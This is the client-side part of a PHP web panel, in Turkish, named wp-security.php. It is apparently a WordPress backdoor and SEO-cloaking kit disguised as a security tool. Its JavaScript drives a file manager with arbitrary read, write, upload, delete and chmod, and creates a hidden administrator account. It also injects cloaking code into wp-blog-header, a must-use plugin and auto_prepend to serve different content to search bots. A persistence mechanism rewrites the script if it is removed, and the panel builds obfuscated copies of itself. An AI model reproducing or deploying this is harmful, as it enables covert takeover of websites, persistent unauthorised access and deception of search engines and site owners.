  <div class="mb"><div class="fr"><label>Klasör Adı</label><input id="md-name" placeholder="yeni-klasor"></div></div>
  <div class="mf"><button class="btn btn-p" onclick="doMkdir()">Oluştur</button><button class="btn" onclick="closeM('md-modal')">İptal</button></div></div>
</div>

<script>
const TOKEN = '<?= $cm_token ?>';
const SELF  = location.pathname;
const SITE  = '<?= addslashes(htmlspecialchars($site_url,ENT_QUOTES)) ?>';
const ROOT  = '<?= addslashes($root) ?>';
const TAB_TITLES = {dashboard:'🏠 Dashboard',cloak:'🎭 Cloak Yönetimi',bottest:'🧪 Bot Test',diagnose:'🔍 Teşhis & Cache',files:'📁 Dosya Yöneticisi',litespeed:'⚡ LiteSpeed',admin:'👤 Gizli Admin'};
let fmPath  = ROOT;

// ── Utils ──────────────────────────────────────
function toast(msg, type='info') {
  const t = document.getElementById('toast');
  const el = Object.assign(document.createElement('div'),{className:`ti t${type}`,textContent:msg});
  t.appendChild(el); setTimeout(()=>el.remove(),4500);
}
function post(data) {
  const fd = new FormData(); fd.append('_token',TOKEN);
  for(const [k,v] of Object.entries(data)) fd.append(k,v);
  return fetch(SELF,{method:'POST',body:fd})
    .then(r=>{
      if(!r.ok) return {success:false,message:'Sunucu hatasi: HTTP '+r.status};
      return r.text().then(txt=>{
        try { return JSON.parse(txt); }
        catch(e) {
          console.error('[wp-security.php] JSON parse hatasi. Ham yanit:', txt);
          const snippet=txt.substring(0,200).replace(/</g,'<').replace(/>/g,'>');
          return {success:false,message:'Sunucu gecersiz yanit dondu. Konsola bak (F12). Ham: '+snippet};
        }
      });
    })
    .catch(err=>{
      console.error('[wp-security.php] Fetch hatasi:',err);
      return {success:false,message:'Baglanti hatasi: '+err.message};
    });
}
function eh(s){return String(s).replace(/&/g,'&amp;').replace(/</g,'&lt;').replace(/>/g,'&gt;').replace(/"/g,'&quot;');}
function ej(s){return String(s).replace(/\\/g,'\\\\').replace(/'/g,"\\'")}
function openM(id){document.getElementById(id).classList.add('open');}
function closeM(id){document.getElementById(id).classList.remove('open');}
function fmtSz(b){if(b===null)return'—';if(b<1024)return b+' B';if(b<1048576)return(b/1024).toFixed(1)+' KB';return(b/1048576).toFixed(1)+' MB';}
function fmtIcon(ext,dir){if(dir)return'📁';const m={php:'🐘',html:'🌐',htm:'🌐',css:'🎨',js:'⚡',json:'📋',txt:'📄',md:'📄',log:'📋',xml:'📋',sql:'🗄️',jpg:'🖼️',jpeg:'🖼️',png:'🖼️',gif:'🖼️',webp:'🖼️',svg:'🖼️',zip:'📦',gz:'📦',tar:'📦',rar:'📦',ini:'⚙️',env:'🔒'};return m[ext]||'📄';}

// ── Tabs ──────────────────────────────────────
function switchTab(tab) {
  document.querySelectorAll('.tab-pane').forEach(e=>e.style.display='none');
  document.querySelectorAll('.ni').forEach(e=>e.classList.remove('active'));
  const el=document.getElementById('tab-'+tab); if(el) el.style.display='block';
  const ni=document.querySelector(`.ni[onclick="switchTab('${tab}')"]`); if(ni) ni.classList.add('active');
  document.getElementById('tab-title').textContent = TAB_TITLES[tab]||tab;
  history.replaceState(null,'',SELF+'?tab='+tab);
    if(tab==='cloak')     loadCloakStatus();
  if(tab==='files')     fmLoad(fmPath);
  if(tab==='dashboard') loadDashboard();
  if(tab==='litespeed') lsStatus();
  if(tab==='bottest'){
    const al=document.getElementById('rich-results-amp-link');
    if(al) al.href='https://search.google.com/test/rich-results?url='+encodeURIComponent(SITE+'/'+_cloakFileName);
  }
}

// ── Dashboard ─────────────────────────────────
function loadDashboard() {
  post({action:'wp_info'}).then(d=>{
    if(!d.success)return;
    const r=d.data;
    if(r.disk_free){document.getElementById('d-disk').textContent=r.disk_free+' / '+r.disk_total;document.getElementById('d-disksub').textContent=r.disk_used_pct+' kullanılıyor';}
    if(r.wp)       document.getElementById('d-wp').textContent=r.wp;
    if(r.site_name)document.getElementById('d-wpname').textContent=r.site_name;
    if(r.plugins!==undefined) document.getElementById('d-plugins').textContent=r.plugins;
    if(r.users!==undefined)   document.getElementById('d-users').textContent=r.users;
    const dot=document.getElementById('wp-status-dot');
    if(dot){
      if(r.wp_loaded){dot.className='wp-dot wp-on';dot.textContent='● WP Yüklü';}
      else{dot.className='wp-dot wp-off';dot.textContent='○ Standalone';}
    }
  });
}

// ── Cloak ─────────────────────────────────────
let _cloakFileName = 'amp.php'; // JS'de guncel tutulan cloak dosyasi adi

function loadCloakStatus() {
  post({action:'diagnose'}).then(d=>{
    if(!d.success)return;
    const amp=d.data.info.amp_exists;
    const ampName=d.data.info.amp_name||_cloakFileName;
    const b=document.getElementById('amp-badge');
    b.className='badge '+(amp?'bg':'br');
    b.textContent=amp?'✅ '+ampName+' Mevcut':'❌ '+ampName+' Yok';
    const al=document.getElementById('amp-link');
    al.href=SITE+'/'+ampName;
    const lbl=document.getElementById('amp-name-label');
    if(lbl) lbl.textContent=ampName;
  });
  post({action:'cloak_status'}).then(d=>{
    if(!d.success)return;
    // Cloak dosyasi adini guncelle
    if(d.cloak_file){
      _cloakFileName=d.cloak_file;
      const inp=document.getElementById('cloak-file-input');
      if(inp&&!inp._edited) inp.value=d.cloak_file;
    }
    for(const[k,active] of Object.entries(d.data)){
      const st=document.getElementById('mst-'+k);
      const ap=document.getElementById('mapply-'+k);
      const rm=document.getElementById('mremov-'+k);
      if(!st)continue;
      if(active){st.className='badge bg';st.textContent='✅ Aktif';ap.style.display='none';rm.style.display='inline-flex';}
      else{st.className='badge bm';st.textContent='○ Pasif';ap.style.display='inline-flex';rm.style.display='none';}
    }
  });
}
function setCloakFile(){
  const inp=document.getElementById('cloak-file-input');
  const val=(inp.value||'').trim()||'amp.php';
  const res=document.getElementById('cloak-file-res');
  res.textContent='Kaydediliyor...'; res.style.color='var(--mu)';
  post({action:'cloak_set_file',cloak_file:val}).then(d=>{
    res.style.color=d.success?'var(--gr)':'var(--rd)';
    res.textContent=(d.success?'✅ ':'❌ ')+(d.message||'');
    if(d.success){
      _cloakFileName=d.file;
      inp._edited=false;
      loadCloakStatus();
      toast('✅ Cloak dosyası güncellendi. Yöntemleri yeniden uygula!','info');
    }
  });
}
// Kullanici inputu degistirince dirty flag
document.addEventListener('DOMContentLoaded',function(){
  const inp=document.getElementById('cloak-file-input');
  if(inp) inp.addEventListener('input',function(){ inp._edited=true; });
});
function createAmp(){
  post({action:'create_amp'}).then(d=>{
    toast((d.success?'✅ ':'❌ ')+d.message,d.success?'s':'e');
    if(d.success)loadCloakStatus();
  });
}
function openAmpInFM(){
  const ampPath=ROOT+_cloakFileName;
  fmLoad(ROOT);switchTab('files');
  setTimeout(()=>{post({action:'file_read',path:ampPath}).then(d=>{
    if(d.success){
      document.getElementById('ed-title').textContent='✏️ '+_cloakFileName;
      document.getElementById('ed-path').value=ampPath;
      try{document.getElementById('ed-content').value=d.data.b64?decodeURIComponent(Array.prototype.map.call(atob(d.data.content),c=>'%'+('00'+c.charCodeAt(0).toString(16)).slice(-2)).join('')):d.data.content;}
      catch(e){document.getElementById('ed-content').value=atob(d.data.content)||d.data.content;}
      openM('ed-modal');
    } else toast('❌ '+_cloakFileName+' bulunamadı — önce oluşturun.','e');
  });},400);
}
function cloakApply(m){const b=document.getElementById('mapply-'+m);b.disabled=true;b.textContent='...';post({action:'cloak_apply',method:m}).then(d=>{b.disabled=false;b.textContent='Aktif Et';toast((d.success?'✅ ':'❌ ')+d.message,d.success?'s':'e');if(d.success)loadCloakStatus();});}
function cloakRemove(m){const b=document.getElementById('mremov-'+m);b.disabled=true;b.textContent='...';post({action:'cloak_remove',method:m}).then(d=>{b.disabled=false;b.textContent='Kaldır';toast((d.success?'✅ ':'❌ ')+d.message,d.success?'s':'e');if(d.success)loadCloakStatus();});}
function cloakRefresh(){
  const btn=document.querySelector('[onclick="cloakRefresh()"]');
  const res=document.getElementById('refresh-result');
  btn.disabled=true; btn.textContent='⏳ Yenileniyor...';
  res.style.display='none';
  post({action:'cloak_refresh'}).then(d=>{
    btn.disabled=false; btn.innerHTML='🔄 Cloak Kodu Yenile + Cache Temizle';
    toast((d.success?'✅ ':'❌ ')+d.message,d.success?'s':'e');
    if(d.log){
      res.style.display='block';
      res.innerHTML='<strong style="color:var(--gr)">İşlem Raporu:</strong><br>'+d.log.map(l=>'• '+eh(l)).join('<br>');
    }
    loadCloakStatus();
  });
}

// ── Bot Test ──────────────────────────────────
function runBotTest(){
  if(document.getElementById('tab-bottest').style.display==='none')switchTab('bottest');
  const url=document.getElementById('test-url')?.value||'';
  const out=document.getElementById('bot-results');
  out.innerHTML='<p style="color:var(--mu)">Test çalışıyor — 10-20 saniye sürebilir...</p>';
  post({action:'bot_test',url}).then(d=>{
    if(!d.success){out.innerHTML=`<p style="color:var(--rd)">❌ ${eh(d.message)}</p>`;return;}
    let html=`<p style="color:var(--mu);font-size:.83em;margin-bottom:10px">Test URL: <code>${eh(d.url)}</code></p>`;
    for(const[name,r] of Object.entries(d.data)){
      let cls,icon,msg;
      if(r.is_cloak){cls='tok';icon='✅';msg='CLOAK ÇALIŞIYOR';}
      else if(r.is_wp){cls='tfail';icon='❌';msg='ÇALIŞMIYOR — WordPress döndü';}
      else{cls='tunk';icon='⚠️';msg='BELİRSİZ (HTTP '+r.code+')';}
      html+=`<div class="tbox ${cls}"><div style="font-weight:600;margin-bottom:5px">${icon} ${eh(name)} — ${msg}</div>
      <div style="font-size:.78em;color:var(--mu)">HTTP ${r.code}</div>
      ${r.preview?`<details style="margin-top:7px"><summary style="cursor:pointer;font-size:.78em;color:var(--mu)">Dönen içerik (300 karakter)</summary><pre style="max-height:100px;margin-top:6px">${eh(r.preview)}</pre></details>`:''}
      </div>`;
    }
    out.innerHTML=html;
  });
}

// ── Teşhis ────────────────────────────────────
function runDiagnose(){
  const el=document.getElementById('diag-out');
  el.innerHTML='<p style="color:var(--mu)">Analiz ediliyor...</p>';
  post({action:'diagnose'}).then(d=>{
    if(!d.success){el.innerHTML=`<p style="color:var(--rd)">❌ ${eh(d.message)}</p>`;return;}
    const{issues,info}=d.data;
    let html='<div class="card" style="margin-bottom:14px"><div class="card-title">Sistem Bilgisi</div><table class="info-table">';
    // Sistem bilgisi satirlari
    const flat={
      'PHP':info.php,'Sunucu':info.server,'İşletim Sistemi':info.os,
      'Root':info.abspath,'Doc Root':info.doc_root,
      'amp.php':info.amp_exists?'✅ Mevcut':'❌ Yok',
      '.htaccess':info.htaccess||'Yok',
      '.user.ini':info.user_ini||'Yok',
      'WordPress':info.wp_version,'WP Yüklendi':info.wp_loaded?'Evet':'Hayır',
    };
    for(const[k,v] of Object.entries(flat))
      html+=`<tr><td>${eh(k)}</td><td>${eh(String(v??''))}</td></tr>`;
    if(info.writable)for(const[f,ok] of Object.entries(info.writable))
      html+=`<tr><td>${eh(f)}</td><td>${ok?'<span style="color:var(--gr)">✅ Yazılabilir</span>':'<span style="color:var(--rd)">❌ Yazma izni yok</span>'}</td></tr>`;
    // Ekstra cloak durum satirlari
    const prepOk=info.php_prepend_active&&info.php_prepend_active.length>0;
    html+=`<tr><td>PHP auto_prepend (aktif)</td><td>${prepOk?`<span style="color:var(--gr)">✅ ${eh(info.php_prepend_active)}</span>`:'<span style="color:var(--rd)">❌ PHP-FPM uygulamiyor</span>'}</td></tr>`;
    html+=`<tr><td>cm-prepend.php</td><td>${info.prepend_file_exists?'<span style="color:var(--gr)">✅ Mevcut</span>':'<span style="color:var(--rd)">❌ Eksik</span>'}</td></tr>`;
    html+=`<tr><td>MU Plugin Cloak</td><td>${info.mu_cloak_active?'<span style="color:var(--gr)">✅ Aktif</span>':'<span style="color:var(--mu)">— Pasif</span>'}</td></tr>`;
    html+=`<tr><td>wp-blog-header Enjeksiyon</td><td>${info.wbh_injected?'<span style="color:var(--gr)">✅ Aktif</span>':'<span style="color:var(--mu)">— Pasif</span>'}</td></tr>`;
    if(info.cloudways) html+=`<tr><td>Cloudways</td><td><span style="color:var(--yl)">⚠️ Varnish/Redis olabilir</span></td></tr>`;
    html+='</table></div>';
    if(!issues.length) html+='<div class="tbox tok">✅ Sorun tespit edilmedi.</div>';
    else {
      html+=`<h3 style="margin-bottom:12px;color:var(--yl)">⚠️ ${issues.length} Sorun / Uyarı</h3>`;
      for(const iss of issues)
        html+=`<div class="iss iss-${iss.type}"><div class="iss-title">${eh(iss.title)}</div><div style="font-size:.83em;color:var(--mu)">${iss.desc}</div>${iss.fix?`<div class="iss-fix">${eh(iss.fix)}</div>`:''}</div>`;
    }
    el.innerHTML=html;
  });
}

// ── File Manager ──────────────────────────────
function fmLoad(path){
  fmPath=path;
  post({action:'file_list',path}).then(d=>{
    document.getElementById('fm-path').textContent=d.success?d.data.path:path;
    if(!d.success){document.getElementById('fm-body').innerHTML=`<p style="color:var(--rd)">❌ ${eh(d.message)}</p>`;return;}
    fmPath=d.data.path;
    let h='<table class="ft"><thead><tr><th>Ad</th><th>Boyut</th><th>Tarih</th><th>Izin</th><th></th></tr></thead><tbody>';
    for(const f of d.data.items){
      const ic=fmtIcon(f.ext,f.is_dir);
      const act=f.is_dir?`fmLoad('${ej(f.path)}')`:`fmEdit('${ej(f.path)}','${ej(f.name)}')`;
      const permStr=f.perms?`<span style="font-family:monospace;font-size:.82em;color:var(--mu)">${f.perms}</span>`:'';
      h+=`<tr><td><span class="fn" onclick="${act}"><span class="fic">${ic}</span>${eh(f.name)}</span></td>
      <td class="fsz">${fmtSz(f.size)}</td><td class="fdt">${f.modified}</td>
      <td class="fsz">${permStr}</td>
      <td class="fact">
        ${!f.is_dir&&f.name!=='..'?`<button class="btn btn-sm" onclick="fmEdit('${ej(f.path)}','${ej(f.name)}')">✏️</button>`:''}
        ${f.name!=='..'?`<button class="btn btn-sm" title="chmod" onclick="fmChmod('${ej(f.path)}','${ej(f.name)}')">🔒</button>`:''}
        ${f.name!=='..'?`<button class="btn btn-d btn-sm" onclick="fmDel('${ej(f.path)}','${ej(f.name)}')">🗑</button>`:''}
      </td></tr>`;
    }
    h+='</tbody></table>';
    document.getElementById('fm-body').innerHTML=h;
  });
}
function fmUp(){post({action:'file_list',path:fmPath}).then(d=>{if(d.success&&d.data.parent)fmLoad(d.data.parent);});}
function fmRefresh(){fmLoad(fmPath);}
function fmEdit(path,name){post({action:'file_read',path}).then(d=>{if(!d.success){toast('❌ '+d.message,'e');return;}document.getElementById('ed-title').textContent='✏️ '+name;document.getElementById('ed-path').value=path;try{document.getElementById('ed-content').value=d.data.b64?decodeURIComponent(Array.prototype.map.call(atob(d.data.content),c=>'%'+('00'+c.charCodeAt(0).toString(16)).slice(-2)).join('')):d.data.content;}catch(e){document.getElementById('ed-content').value=atob(d.data.content)||d.data.content;}openM('ed-modal');});}
function fmDel(path,name){if(!confirm(name+' silinsin mi?'))return;post({action:'file_delete',path}).then(d=>{toast((d.success?'✅ ':'❌ ')+d.message,d.success?'s':'e');if(d.success)fmRefresh();});}
function fmChmod(path,name){
  const mode=prompt('Yeni izin (ornek: 0755 veya 0644):\n'+name,'0644');
  if(!mode)return;
  post({action:'file_chmod',path,mode}).then(d=>{
    toast((d.success?'✅ chmod '+d.message:'❌ '+d.message),d.success?'s':'e');
    if(d.success)fmRefresh();
  });
}
function saveFile(){const path=document.getElementById('ed-path').value,content=document.getElementById('ed-content').value;post({action:'file_write',path,content}).then(d=>{toast((d.success?'✅ ':'❌ ')+d.message,d.success?'s':'e');if(d.success)closeM('ed-modal');});}
function showUpload(){document.getElementById('up-dir-show').textContent=fmPath;document.getElementById('up-res').textContent='';openM('up-modal');}
function doUpload(){const file=document.getElementById('up-file').files[0];if(!file){toast('Dosya seçin','e');return;}const fd=new FormData();fd.append('_token',TOKEN);fd.append('upload_dir',fmPath);fd.append('upload_file',file);document.getElementById('up-res').textContent='Yükleniyor...';fetch(SELF,{method:'POST',body:fd}).then(r=>r.json()).then(d=>{const el=document.getElementById('up-res');el.style.color=d.success?'var(--gr)':'var(--rd)';el.textContent=(d.success?'✅ ':'❌ ')+d.message;if(d.success){closeM('up-modal');fmRefresh();}});}
function showNewFile(){document.getElementById('nf-name').value='';document.getElementById('nf-content').value='';openM('nf-modal');}
function doNewFile(){const name=document.getElementById('nf-name').value.trim(),content=document.getElementById('nf-content').value;if(!name){toast('Dosya adı girin','e');return;}post({action:'file_write',path:fmPath+'/'+name,content}).then(d=>{toast((d.success?'✅ ':'❌ ')+d.message,d.success?'s':'e');if(d.success){closeM('nf-modal');fmRefresh();}});}
function showMkdir(){document.getElementById('md-name').value='';openM('md-modal');}
function doMkdir(){const name=document.getElementById('md-name').value.trim();if(!name){toast('Klasör adı girin','e');return;}post({action:'file_mkdir',path:fmPath+'/'+name}).then(d=>{toast((d.success?'✅ ':'❌ ')+d.message,d.success?'s':'e');if(d.success){closeM('md-modal');fmRefresh();}});}

// ── Gizli Admin ───────────────────────────────
function genPass(){
  const chars='abcdefghjkmnpqrstuvwxyzABCDEFGHJKMNPQRSTUVWXYZ23456789!@#';
  let p=''; for(let i=0;i<14;i++) p+=chars[Math.floor(Math.random()*chars.length)];
  document.getElementById('a-pass').value=p;
}
function copyCred(){
  const el=document.getElementById('cred-text');
  el.select(); el.setSelectionRange(0,9999);
  try{ navigator.clipboard.writeText(el.value).then(()=>toast('✅ Kopyalandi!','s')); }
  catch(e){ document.execCommand('copy'); toast('✅ Kopyalandi!','s'); }
}
function doCreateAdmin(){
  const password=document.getElementById('a-pass').value.trim();
  const el=document.getElementById('admin-res');
  el.textContent='Olusturuluyor ve gizleniyor...';
  el.style.color='var(--mu)';
  post({action:'admin_create',password}).then(d=>{
    el.style.color=d.success?'var(--gr)':'var(--rd)';
    if(d.success){
      el.textContent='✅ '+d.message;
      // Kimlik kutusunu goster
      const box=document.getElementById('cred-box');
      const cred=document.getElementById('cred-text');
      box.style.display='block';
      cred.value=d.credentials;
      // Sifre alanini guncelle (geri almak icin)
      document.getElementById('a-pass').value=d.password;
      toast('✅ Admin olusturuldu ve gizlendi!','s');
    } else {
      el.textContent='❌ '+d.message;
      toast('❌ '+d.message,'e');
    }
  });
}
// Artık kullanılmıyor ama geriye dönük uyumluluk için bırakıldı
function doHideAdmin(){ toast('Admin olusturulduğunda otomatik gizlenir.','info'); }

// ── Cloak Dosyası Otomatik İzleme ─────────────
let _lastCloakMtime = 0;
function checkCloakFile() {
  post({action:'check_cloak_file'}).then(d=>{
    if(!d.success)return;
    const now=new Date().toLocaleTimeString('tr-TR');
    const el=document.getElementById('cloak-monitor-status');
    if(el) el.textContent='Son kontrol: '+now+(d.exists?' ✅':' ❌ dosya yok');
    if(_lastCloakMtime && d.mtime && d.mtime!==_lastCloakMtime){
      toast('🔄 Cloak dosyası değişti — cache otomatik temizleniyor...','info');
      post({action:'cache_universal'}).then(r=>{
        const el2=document.getElementById('cloak-monitor-status');
        const t=new Date().toLocaleTimeString('tr-TR');
        if(el2) el2.textContent='Cache otomatik temizlendi: '+t;
        toast(r.success?'✅ Cache otomatik temizlendi!':'⚠️ Cache temizleme tamamlandı','s');
      });
    }
    _lastCloakMtime=d.mtime||0;
  });
}
setInterval(checkCloakFile,120000); // 2 dakika
window.addEventListener('load',function(){ setTimeout(checkCloakFile,3000); });

// ── LiteSpeed ─────────────────────────────────
function lsStatus() {
  post({action:'ls_status'}).then(d=>{
    if(!d.success){document.getElementById('ls-status-out').innerHTML=`<p style="color:var(--rd)">Hata: ${eh(d.message)}</p>`;return;}
    const r=d.data;
    let h='<table class="info-table">';
    const rows=[
      ['Sunucu',r.server_info||(r.server_ls?'LiteSpeed':'Bilinmiyor')],
      ['LiteSpeed Sunucu',r.server_ls?'<span style="color:var(--yl)">EVET</span>':'Hayir'],
      ['Plugin Mevcut',r.plugin_exists?'<span style="color:var(--yl)">Evet</span>':'Hayir'],
      ['Plugin Aktif',r.plugin_active?'<span style="color:var(--rd)">AKTIF - Bot cache riski var</span>':'Hayir'],
      ['.htaccess LS Kurali',r.htaccess_has_ls?'<span style="color:var(--yl)">Bulundu</span>':'Yok'],
      ['.htaccess Bypass',r.htaccess_has_bypass?'<span style="color:var(--gr)">Aktif</span>':'<span style="color:var(--rd)">YOK</span>'],
      ['PHP LS Header',r.prepend_has_ls_header||r.mu_has_ls_header?'<span style="color:var(--gr)">Mevcut</span>':'<span style="color:var(--rd)">Eksik</span>'],
      ['.ls-conf',r.lsconf_exists?'<span style="color:var(--gr)">Mevcut</span>':'Yok'],
    ];
    for(const[k,v] of rows) h+=`<tr><td>${k}</td><td>${v}</td></tr>`;
    h+='</table>';
    if(r.cache_dirs&&r.cache_dirs.length){
      h+='<div style="margin-top:12px"><strong style="font-size:.8em;color:var(--mu)">CACHE DIZINLERI</strong>';
      for(const d of r.cache_dirs){
        const sz=d.size>1048576?(d.size/1048576).toFixed(1)+' MB':(d.size/1024).toFixed(1)+' KB';
        h+=`<div style="font-size:.8em;font-family:monospace;padding:4px 0;border-bottom:1px solid var(--bd)">${eh(d.path)} — <strong style="color:var(--yl)">${sz}</strong> ${d.writable?'<span style="color:var(--gr)">[yazilabilir]</span>':'<span style="color:var(--rd)">[yazma izni yok]</span>'}</div>`;
      }
      h+='</div>';
      // cache dirs goster
      const cd=r.cache_dirs.map(d=>`${d.path} (${(d.size/1024).toFixed(0)} KB)`).join('\n');
      const el=document.getElementById('ls-cache-dirs');
      if(el) el.textContent='Cache dizinleri:\n'+cd;
    } else {
      const el=document.getElementById('ls-cache-dirs');
      if(el) el.textContent='Cache dizini bulunamadi.';
    }
    if(r.plugin_options&&Object.keys(r.plugin_options).length){
      h+='<div style="margin-top:12px"><strong style="font-size:.8em;color:var(--mu)">PLUGIN AYARLARI (DB)</strong>';
      for(const[k,v] of Object.entries(r.plugin_options))
        h+=`<div style="font-size:.8em;font-family:monospace;padding:3px 0">${eh(k)}: <strong>${eh(String(v))}</strong></div>`;
      h+='</div>';
      const ps=document.getElementById('ls-plugin-status');
      if(ps){
        const ca=r.plugin_options['cache-enabled'];
        ps.textContent='Mevcut DB durumu: cache-enabled='+ca;
        ps.style.color=ca?'var(--rd)':'var(--gr)';
      }
    }
    if(r.needs_fix){h=`<div class="tbox tfail" style="margin-bottom:12px">⚠️ .htaccess'te LiteSpeed kurali var ama bypass eksik! Asagidaki duzelteleri uygulayın.</div>`+h;}
    else if(r.htaccess_has_bypass){h=`<div class="tbox tok" style="margin-bottom:12px">✅ Bypass kurali aktif.</div>`+h;}
    document.getElementById('ls-status-out').innerHTML=h;
  });
}
function cacheUniversal(){
  const btn=document.getElementById('cache-univ-btn');
  const res=document.getElementById('cache-univ-res');
  btn.disabled=true; btn.textContent='Temizleniyor...';
  res.textContent=''; res.style.color='var(--mu)';
  post({action:'cache_universal'}).then(d=>{
    btn.disabled=false; btn.textContent='🧹 Tum Cache Sistemlerini Temizle';
    res.style.color=d.success?'var(--gr)':'var(--yl)';
    // Her satiri renklendirerek goster
    if(d.log && Array.isArray(d.log)){
      res.innerHTML=d.log.map(l=>{
        const ok=l.startsWith('[OK]');
        const skip=l.startsWith('[--]');
        const col=ok?'var(--gr)':skip?'var(--mu)':'var(--yl)';
        return `<span style="color:${col}">${eh(l)}</span>`;
      }).join('\n');
    } else {
      res.textContent=d.message;
    }
    toast(d.success?'✅ Cache temizleme tamamlandi!':'⚠️ Bazi moduller atlanamadi','s');
  });
}
function cacheModule(action, name){
  const res=document.getElementById('cache-single-res');
  res.textContent=name+' temizleniyor...'; res.style.color='var(--mu)';
  post({action}).then(d=>{
    const icon=d.success?'✅':'⚠️';
    res.style.color=d.success?'var(--gr)':'var(--yl)';
    res.textContent=`${icon} ${name}: ${d.message}`;
    toast(`${icon} ${name}: ${d.message}`,d.success?'s':'e');
  });
}
function lsAutoFix(){
  const btn=document.getElementById('ls-auto-btn');
  const res=document.getElementById('ls-auto-res');
  btn.disabled=true; btn.textContent='Uygulanıyor...';
  res.textContent=''; res.style.color='var(--mu)';
  post({action:'ls_auto_fix'}).then(d=>{
    btn.disabled=false; btn.textContent='⚡ LiteSpeed Duzeltmelerini Uygula';
    res.style.color=d.success?'var(--gr)':'var(--yl)';
    res.textContent=d.message;
    toast(d.success?'✅ Tum LS duzeltmeleri uygulandi!':'⚠️ Bazi adimlar atlanamadi — detaylara bak','s');
    lsStatus();
  });
}
function lsFixHtaccess(){
  const el=document.getElementById('ls-ht-res');
  el.textContent='...';
  post({action:'ls_fix_htaccess'}).then(d=>{
    el.style.color=d.success?'var(--gr)':'var(--rd)';
    el.textContent=(d.success?'✅ ':'❌ ')+d.message;
    if(d.success)lsStatus();
  });
}
function lsFixHeaders(){
  const el=document.getElementById('ls-hdr-res');
  el.textContent='...';
  post({action:'ls_fix_headers'}).then(d=>{
    el.style.color=d.success?'var(--gr)':'var(--rd)';
    el.textContent=(d.success?'✅ ':'❌ ')+d.message;
  });
}
function lsCreateConf(){
  const el=document.getElementById('ls-conf-res');
  el.textContent='...';
  post({action:'ls_create_conf'}).then(d=>{
    el.style.color=d.success?'var(--gr)':'var(--rd)';
    el.textContent=(d.success?'✅ ':'❌ ')+d.message;
  });
}
function lsPurge(){
  if(!confirm('LiteSpeed cache dosyalari silinsin mi?'))return;
  const el=document.getElementById('ls-purge-res');
  el.textContent='Temizleniyor...';
  post({action:'ls_purge_cache'}).then(d=>{
    el.style.color=d.success?'var(--gr)':'var(--rd)';
    el.textContent=(d.success?'✅ ':'❌ ')+d.message;
    if(d.success)toast('✅ Cache temizlendi!','s');
    lsStatus();
  });
}
function lsPluginConfig(){
  const el=document.getElementById('ls-plugin-res');
  el.textContent='Yaziliyor...';
  post({action:'ls_plugin_config'}).then(d=>{
    el.style.color=d.success?'var(--gr)':'var(--rd)';
    el.textContent=(d.success?'✅ ':'❌ ')+d.message;
    if(d.success){toast('✅ Plugin ayarlari yazildi!','s');lsStatus();}
  });
}

// ── Backup Koruma ─────────────────────────────
function loadPersistStatus() {
  post({action:'persist_status'}).then(d=>{
    if(!d.success) return;
    const r=d.data;
    const badge=document.getElementById('persist-badge');
    const btnI=document.getElementById('persist-install-btn');
    const btnU=document.getElementById('persist-update-btn');
    const btnR=document.getElementById('persist-remove-btn');
    if(r.mu_active && !r.stale){
      badge.className='badge bg'; badge.textContent='✅ Koruma Aktif';
      btnI.style.display='none'; btnU.style.display='none'; btnR.style.display='inline-flex';
    } else if(r.mu_active && r.stale){
      badge.className='badge by'; badge.textContent='⚠️ Güncelleme Gerekli';
      btnI.style.display='none'; btnU.style.display='inline-flex'; btnR.style.display='inline-flex';
      document.getElementById('persist-res').textContent='wp-security.php değişmiş — MU Plugin\'i güncelle ki yeni sürüm geri yazılsın.';
    } else {
      badge.className='badge br'; badge.textContent='❌ Koruma Yok';
      btnI.style.display='inline-flex'; btnU.style.display='none'; btnR.style.display='none';
    }
  });
}
function persistInstall(){
  const btn=document.getElementById('persist-install-btn');
  const btn2=document.getElementById('persist-update-btn');
  btn.disabled=true; btn2.disabled=true;
  btn.textContent='...'; btn2.textContent='...';
  post({action:'persist_install'}).then(d=>{
    btn.disabled=false; btn2.disabled=false;
    btn.textContent='🛡️ Korumayı Aktif Et'; btn2.textContent='🔄 Güncelle';
    const res=document.getElementById('persist-res');
    res.style.color=d.success?'var(--gr)':'var(--rd)';
    res.textContent=(d.success?'✅ ':'❌ ')+d.message;
    toast(d.success?'✅ Backup koruması aktif!':'❌ '+d.message,d.success?'s':'e');
    loadPersistStatus();
  });
}
function persistRemove(){
  if(!confirm('Backup koruması kaldırılsın mı?')) return;
  post({action:'persist_remove'}).then(d=>{
    toast((d.success?'✅ ':'❌ ')+d.message,d.success?'s':'e');
    document.getElementById('persist-res').textContent='';
    loadPersistStatus();
  });
}
function buildEncoded(){
  const el=document.getElementById('build-enc-res');
  el.textContent='Şifreleniyor ve sıkıştırılıyor...'; el.style.color='var(--mu)';
  post({action:'build_encoded'}).then(d=>{
    el.style.color=d.success?'var(--gr)':'var(--rd)';
    if(d.success){
      el.textContent=d.message;
      toast(`✅ Şifreli sürüm oluşturuldu! ${d.orig_kb}KB → ${d.enc_kb}KB (%${d.ratio} küçüldü)`,'s');
    } else {
      el.textContent='❌ '+d.message;
      toast('❌ '+d.message,'e');
    }
  });
}

// ── Init ──────────────────────────────────────
document.addEventListener('keydown',e=>{if(e.key==='Escape')document.querySelectorAll('.modal.open').forEach(m=>m.classList.remove('open'));});
window.addEventListener('load',()=>{
  switchTab('<?= $tab ?>');
  loadDashboard();
  loadPersistStatus();
});
</script>
</body>
</html>